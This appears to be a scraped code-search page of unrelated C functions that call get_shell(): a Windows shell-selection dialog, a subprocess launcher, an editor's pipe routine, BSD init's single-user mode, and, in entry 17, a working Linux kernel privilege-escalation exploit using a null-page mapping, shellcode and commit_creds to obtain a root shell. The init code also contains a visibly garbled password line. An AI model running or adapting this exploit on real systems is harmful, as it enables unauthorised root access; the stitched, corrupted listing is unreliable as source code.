            get_shell(buffer);

        _tcslwr(_tcscpy(temp, buffer));

        if (0 == _tcsicmp(temp, szBlackbox)) {
            id = IDC_RBN1;
        }
        else if (_tcsstr(temp, TEXT("explorer"))) {
            id = IDC_RBN2;
        } else if (temp[0]) {
            id = IDC_RBN3;
        } else {
            _tcscpy(buffer, TEXT("<not set>"));
            id = 0;
        }

        CheckRadioButton(hDlg, IDC_RBN1, IDC_RBN3, id);
        for (f = IDC_RBN1; f <= IDC_RBN3; ++f)
            EnableWindow(GetDlgItem(hDlg, f), is_admin || is_per_user);

set_line:
        {
            HWND hLine = GetDlgItem(hDlg, IDC_EDT1);
            SetWindowText(hLine, buffer);
            SendMessage(hLine, EM_SETREADONLY, id != IDC_RBN3, 0);
        }
        return 1;


    case WM_COMMAND:
        id = LOWORD( wParam );
        switch(id) {
        case IDC_CHK1:
            is_per_user = 0 != IsDlgButtonChecked(hDlg, id);
            option = 0;
            goto display;

        case IDC_RBN1:
            option = 2;
            goto display;

        case IDC_RBN2:
            option = 1;
            goto display;

        case IDC_RBN3:
            buffer[0] = 0;
            goto set_line;

        case IDCANCEL:
            EndDialog(hDlg, 0);
            return 1;

        case IDOK:
        case IDC_LOG1:
            GetDlgItemText(hDlg, IDC_EDT1, shellpath, sizeof shellpath);
            if (SetAsShell(shellpath) == 1)
              return 1;
            if (0 == is_admin && is_per_user && 0 == get_per_user()) {
                id = 1;
            } else if (id == IDC_LOG1) {
                id = 2;
            } else if (0 == is_admin && 0 == is_per_user) {
                id = 3;
            } else {
                id = 4;
            }

            EndDialog(hDlg, id);
            return 1;
        }
    }
    return 0;
}
Exemplo n.º 17
0
int main(int ac, char **av)
{
	if (ac != 2) {
		printf("./exploit kernel_offset\n");
		printf("exemple = 0xffffffff81f3f45a");
		return EXIT_FAILURE;
	}

	// 2 - Appel de la fonction get_kernel_sym pour rcuperer dans le /proc/kallsyms les adresses des fonctions
	prepare_kernel_cred = (prepare_kernel_cred_t)get_kernel_sym("prepare_kernel_cred");
	commit_creds = (commit_creds_t)get_kernel_sym("commit_creds");
	// have_canfork_callback offset <= rendre dynamique aussi
	
	pid_t     pid;
	/* siginfo_t info; */

	// 1 - Mapper la mmoire  l'adresse 0x0000000000000000
	printf("[+] Try to allocat 0x00000000...\n");
	if (mmap(0, 4096, PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANON|MAP_PRIVATE|MAP_FIXED, -1, 0) == (char *)-1){
		printf("[-] Failed to allocat 0x00000000\n");
		return -1;
	}
	printf("[+] Allocation success !\n");
	/* memset(0, 0xcc, 4096); */
/*
movq rax, 0xffffffff81f3f45a
movq [rax], 0
mov rax, 0x4242424242424242
call rax
xor rax, rax
ret
replace 0x4242424242424242 by get_root
https://defuse.ca/online-x86-assembler.htm#disassembly
	 */
	unsigned char shellcode[] = 
	{ 0x48, 0xC7, 0xC0, 0x5A, 0xF4, 0xF3, 0x81, 0x48, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0x42, 0xFF, 0xD0, 0x48, 0x31, 0xC0, 0xC3 };
	void **get_root_offset = rawmemchr(shellcode, 0x42);
	(*get_root_offset) = get_root;

	memcpy(0, shellcode, sizeof(shellcode));
	/* strcpy(0, "\x48\x31\xC0\xC3"); // xor rax, rax; ret */

	if(-1 == (pid = fork())) {
		perror("fork()");
		return EXIT_FAILURE;
	}

	if(pid == 0) {
		_exit(0xDEADBEEF);
		perror("son");
		return EXIT_FAILURE;
	}

	siginfo_t *ptr = (siginfo_t*)strtoul(av[1], (char**)0, 0);
	waitid(P_PID, pid, ptr, WEXITED | WSTOPPED | WCONTINUED);

// TRIGGER
	pid = fork();
	printf("fork_ret = %d\n", pid);	
	if (pid > 0)
		get_shell();
	return EXIT_SUCCESS;
}
Exemplo n.º 18
0
/* Start a subprocess with run_command_redirected and register it with the
   termination handler. Takes care of o.shellexec. Returns the PID of the
   subprocess or -1 on error. */
static int start_subprocess(char *cmdexec, struct subprocess_info *info)
{
    char *cmdbuf;
    int pid;

    if (o.execmode == EXEC_SHELL) {
        /* Run with cmd.exe. */
        const char *shell;
        size_t cmdlen;

        shell = get_shell();
        cmdlen = strlen(shell) + strlen(cmdexec) + 32;
        cmdbuf = (char *) safe_malloc(cmdlen);
        Snprintf(cmdbuf, cmdlen, "%s /C %s", shell, cmdexec);
#ifdef HAVE_LUA
    } else if (o.execmode == EXEC_LUA) {
        char exepath[8192];
        char *cmdexec_escaped, *exepath_escaped;
        int n;

        n = GetModuleFileName(GetModuleHandle(0), exepath, sizeof(exepath));
        if (n == 0 || n == sizeof(exepath))
            return -1;

        cmdexec_escaped = escape_windows_command_arg(cmdexec);
        if (cmdexec_escaped == NULL)
            return -1;

        exepath_escaped = escape_windows_command_arg(exepath);
        if (exepath_escaped == NULL) {
            free(cmdexec_escaped);
            return -1;
        }

        n = asprintf(&cmdbuf, "%s --lua-exec-internal %s", exepath_escaped, cmdexec_escaped);
        free(cmdexec_escaped);
        free(exepath_escaped);
        if (n < 0)
            return -1;
#endif
    } else {
        cmdbuf = cmdexec;
    }

    if (o.debug)
        logdebug("Executing: %s\n", cmdbuf);

    pid = run_command_redirected(cmdbuf, info);

    if (cmdbuf != cmdexec)
        free(cmdbuf);

    if (pid == -1)
        return -1;

    if (register_subprocess(info->proc) == -1) {
        if (o.verbose)
            logdebug("Couldn't register subprocess with termination handler; not executing.\n");
        TerminateProcess(info->proc, 2);
        subprocess_info_close(info);
        return -1;
    }

    return pid;
}
Exemplo n.º 19
0
static int
tmp_inout_popen(FILE **fr, FILE **fw, char *cmd)
{
    char  buf[NFILEN + 128];
    DWORD dummy, len;
    int   rc, term_status, tmpin_fd;

    TRACE(("tmp_inout_popen cmd=%s\n", cmd));
    proc_handle = BAD_PROC_HANDLE;
    handles[0]  = handles[1] = handles[2]  = INVALID_HANDLE_VALUE;
    tmpin_fd    = stdin_fd   = stdout_fd   = BAD_FD;
    tmpin_name  = stdin_name = stdout_name = NULL;
    set_console_title(cmd);
    do
    {
        if (fr)
        {
            *fr = NULL;
            if ((stdin_name = _tempnam(getenv("TEMP"), "vile")) == NULL)
                break;
            if ((stdin_fd = open(stdin_name,
                                 O_RDWR|O_CREAT|O_TRUNC|O_TEXT,
                                 _S_IWRITE|_S_IREAD)) == BAD_FD)
            {
                break;
            }
            handles[2] = handles[1] = (HANDLE) _get_osfhandle(stdin_fd);
            if (! fw)
            {
                /*
                 * This is a read pipe (only).  Connect child's stdin to
                 * an empty file.  Under no circumstances should the
                 * child's stdin be connected to a device (else lots of
                 * screwy things will occur).  In particular, connecting
                 * the child's stdin to the parent's stdin will cause
                 * aborts and hangs on the various Win32 hosts.  You've
                 * been warned.
                 */

                if ((tmpin_name = _tempnam(getenv("TEMP"), "vile")) == NULL)
                    break;
                if ((tmpin_fd = open(tmpin_name,
                                     O_RDONLY|O_CREAT|O_TRUNC,
                                     _S_IWRITE|_S_IREAD)) == BAD_FD)
                {
                    break;
                }
                handles[0] = (HANDLE) _get_osfhandle(tmpin_fd);
            }
            else
            {
                /*
                 * Set up descriptor for filter operation.   Note the
                 * sublteties here:  exec'd shell is passed a descriptor
                 * to the temp file that's opened "w".  The editor
                 * receives a descriptor to the file that's opened "r".
                 */

                if ((*fr = fopen(stdin_name, "r")) == NULL)
                    break;
            }
        }
        if (fw)
        {
            *fw = NULL;

            /* create a temp file to receive data from the editor */
            if ((stdout_name = _tempnam(getenv("TEMP"), "vile")) == NULL)
                break;
            if ((stdout_fd = open(stdout_name,
                                  O_RDWR|O_CREAT|O_TRUNC|O_BINARY,
                                  _S_IWRITE|_S_IREAD)) == BAD_FD)
            {
                break;
            }
            if ((*fw = fdopen(stdout_fd, "w")) == 0)
                break;

            /*
             * we're all set up, but can't exec "cmd" until the editor
             * writes data to the temp file connected to stdout.
             */
            shcmd = cmd;   /* remember this */
            return (TRUE);
        }

        /* This must be a read (only) pipe.  Appropriate to exec "cmd". */
        rc = (exec_shell(cmd,
                         handles,
                         TRUE       /* hide child wdw */
                        ) == BAD_PROC_HANDLE) ? FALSE : TRUE;

        if (! rc)
        {
            /*
             * Shell process failed, put complaint in user's buffer, which
             * is currently proxied by a temp file that the editor will
             * suck in shortly.
             */

            len = (DWORD) (lsprintf(buf, SHELL_ERR_MSG, get_shell()) - buf);
            (void) WriteFile(handles[1], buf, len, &dummy, NULL);
            FlushFileBuffers(handles[1]);
        }
        else
        {
            /* wait for exec'd process to exit */

            (void) cwait(&term_status, (CWAIT_PARAM_TYPE) proc_handle, 0);
            TRACE(("...CreateProcess finished waiting in tmp_inout_popen\n"));
            close_proc_handle();
        }

        /*
         * When closing descriptors shared between parent and child, order
         * is quite important when $shell == command.com .  In this
         * situation, the descriptors can't be closed until the exec'd
         * process exits (I kid you not).
         */
        close_fd(stdin_fd);
        (void) close(tmpin_fd);

        /* let the editor consume the output of the read pipe */
        if ((*fr = fopen(stdin_name, "r")) == NULL)
        {
            /*
             * impossible to put error in user's buffer since that file
             * descriptor is closed.
             */

            sprintf(buf,
                    "[error opening temp file \"%s\": %s]",
                    stdin_name,
                    strerror(errno));
            lastditch_msg(buf);
            break;
        }
        return (rc);
    }
    while (FALSE);

    /* If we get here -- some operation has failed.  Clean up. */
    tmp_cleanup();
    return (FALSE);
}
Exemplo n.º 20
0
/*
 * Bring the system up single user.
 */
state_func_t
single_user(void)
{
	pid_t pid, wpid;
	int status;
	sigset_t mask;
	const char *shell;
	char *argv[2];
#ifdef SECURE
	struct ttyent *typ;
	struct passwd *pp;
	static const char banner[] =
		"Enter root password, or ^D to go multi-user\n";
	char *clear, *password;
#endif
#ifdef DEBUGSHELL
	char altshell[128];
#endif

	if (Reboot) {
		/* Instead of going single user, let's reboot the machine */
		sync();
		alarm(2);
		pause();
		reboot(howto);
		_exit(0);
	}

	shell = get_shell();

	if ((pid = fork()) == 0) {
		/*
		 * Start the single user session.
		 */
		setctty(_PATH_CONSOLE);
#ifdef TESTBED
#define TERMCMD "/bootcmd"
		
		if (access(TERMCMD, F_OK) == 0) {
			FILE *fp;
			char cmd[256], *bp;
			char *myargv[3];

			/*
			 * Very simple; the file contains the path of a
			 * command to run. No arguments supported, sorry.
			 */
			if ((fp = fopen(TERMCMD, "r")) == NULL) {
				/* Lets avoid loops! */
				unlink(TERMCMD);
				goto skip;
			}
			
			if (fgets(cmd, sizeof(cmd), fp) == NULL) {
				fclose(fp);
				/* Lets avoid loops! */
				unlink(TERMCMD);
				goto skip;
			}
			fclose(fp);

			/* Lets avoid loops! */
			unlink(TERMCMD);

			if ((bp = rindex(cmd, '\n')))
				*bp = '\0';
			
			if (access(cmd, X_OK) != 0) {
				emergency("%s does not exist!", cmd);
				goto skip;
			}

			/* See comment below */
			sigemptyset(&mask);
			sigprocmask(SIG_SETMASK, &mask, (sigset_t *) 0);

			char name[] = "-sh";
			
			myargv[0] = name;
			myargv[1] = cmd;
			myargv[2] = 0;
			
			execv(_PATH_BSHELL, myargv);
			stall("can't exec %s for %s: %m", _PATH_BSHELL, cmd);
		}
		/*
		 * If something goes wrong, we want to sit in single user mode
		 * so that we might catch the error. Not sure, might have to
		 * do something fancier, like perhaps add a state transition
		 * for this
		 */
	skip:
#endif

#ifdef SECURE
		/*
		 * Check the root password.
		 * We don't care if the console is 'on' by default;
		 * it's the only tty that can be 'off' and 'secure'.
		 */
		typ = getttynam("console");
		pp = getpwnam("root");
		if (typ && (typ->ty_status & TTY_SECURE) == 0 &&
		    pp && *pp->pw_passwd) {
			write_stderr(banner);
			for (;;) {
				clear = getpass("Password:"******"single-user login failed\n");
			}
		}
		endttyent();
		endpwent();
#endif /* SECURE */

#ifdef DEBUGSHELL
		{
			char *cp = altshell;
			int num;

#define	SHREQUEST "Enter full pathname of shell or RETURN for "
			write_stderr(SHREQUEST);
			write_stderr(shell);
			write_stderr(": ");
			while ((num = read(STDIN_FILENO, cp, 1)) != -1 &&
			    num != 0 && *cp != '\n' && cp < &altshell[127])
				cp++;
			*cp = '\0';
			if (altshell[0] != '\0')
				shell = altshell;
		}
#endif /* DEBUGSHELL */

		/*
		 * Unblock signals.
		 * We catch all the interesting ones,
		 * and those are reset to SIG_DFL on exec.
		 */
		sigemptyset(&mask);
		sigprocmask(SIG_SETMASK, &mask, (sigset_t *) 0);

		/*
		 * Fire off a shell.
		 * If the default one doesn't work, try the Bourne shell.
		 */

		char name[] = "-sh";

		argv[0] = name;
		argv[1] = 0;
		execv(shell, argv);
		emergency("can't exec %s for single user: %m", shell);
		execv(_PATH_BSHELL, argv);
		emergency("can't exec %s for single user: %m", _PATH_BSHELL);
		sleep(STALL_TIMEOUT);
		_exit(1);
	}

	if (pid == -1) {
		/*
		 * We are seriously hosed.  Do our best.
		 */
		emergency("can't fork single-user shell, trying again");
		while (waitpid(-1, (int *) 0, WNOHANG) > 0)
			continue;
		return (state_func_t) single_user;
	}

	requested_transition = 0;
	do {
		if ((wpid = waitpid(-1, &status, WUNTRACED)) != -1)
			collect_child(wpid);
		if (wpid == -1) {
			if (errno == EINTR)
				continue;
			warning("wait for single-user shell failed: %m; restarting");
			return (state_func_t) single_user;
		}
		if (wpid == pid && WIFSTOPPED(status)) {
			warning("init: shell stopped, restarting\n");
			kill(pid, SIGCONT);
			wpid = -1;
		}
	} while (wpid != pid && !requested_transition);

	if (requested_transition)
		return (state_func_t) requested_transition;

	if (!WIFEXITED(status)) {
		if (WTERMSIG(status) == SIGKILL) {
			/*
			 *  reboot(8) killed shell?
			 */
			warning("single user shell terminated.");
			sleep(STALL_TIMEOUT);
			_exit(0);
		} else {
			warning("single user shell terminated, restarting");
			return (state_func_t) single_user;
		}
	}

	runcom_mode = FASTBOOT;
	return (state_func_t) runcom;
}